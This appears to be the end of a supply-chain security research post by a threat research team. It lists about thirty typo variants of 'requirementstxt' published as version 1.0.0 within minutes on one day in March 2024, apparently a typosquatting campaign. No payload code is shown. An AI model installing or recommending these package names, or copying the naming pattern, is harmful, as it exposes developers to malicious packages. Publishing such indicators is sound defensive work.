requiremntstxt@1.0.0 2024-03-27 13:48:53
reqiurementstxt@1.0.0 2024-03-27 13:48:55
requrementstxt@1.0.0 2024-03-27 13:48:57
requirementstxtx@1.0.0 2024-03-27 13:49:00
requiurementstxt@1.0.0 2024-03-27 13:49:03
requiremenstx@1.0.0 2024-03-27 13:49:05
requirementtsxt@1.0.0 2024-03-27 13:49:41
requiirementstxt@1.0.0 2024-03-27 13:49:43
requiirementsxt@1.0.0 2024-03-27 13:49:45
requiremntstx@1.0.0 2024-03-27 13:50:11
requiremetstx@1.0.0 2024-03-27 13:50:13
requirementstxxt@1.0.0 2024-03-27 13:50:17
requirementstxx@1.0.0 2024-03-27 13:50:19
requirmentstxt@1.0.0 2024-03-27 13:50:22
requiremetnstxt@1.0.0 2024-03-27 13:50:24
requiremnetstxt@1.0.0 2024-03-27 13:50:26
requiremmentstxt@1.0.0 2024-03-27 13:50:28
requiirementstx@1.0.0 2024-03-27 13:50:35
requirrementstxt@1.0.0 2024-03-27 13:50:40
requiremmentxtxt@1.0.0 2024-03-27 13:50:42
requirmentstx@1.0.0 2024-03-27 13:50:45
requirmentstxtt@1.0.0 2024-03-27 13:50:55
requiremnetxtxt@1.0.0 2024-03-27 13:50:58
requiremmentxt@1.0.0 2024-03-27 13:51:01
requiremntxtxt@1.0.0 2024-03-27 13:51:03
requirementt@1.0.0 2024-03-27 13:51:06
requirementxt@1.0.0 2024-03-27 13:51:09
requirementxtt@1.0.0 2024-03-27 13:51:12
requirementstxtxt@1.0.0 2024-03-27 13:51:26
Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.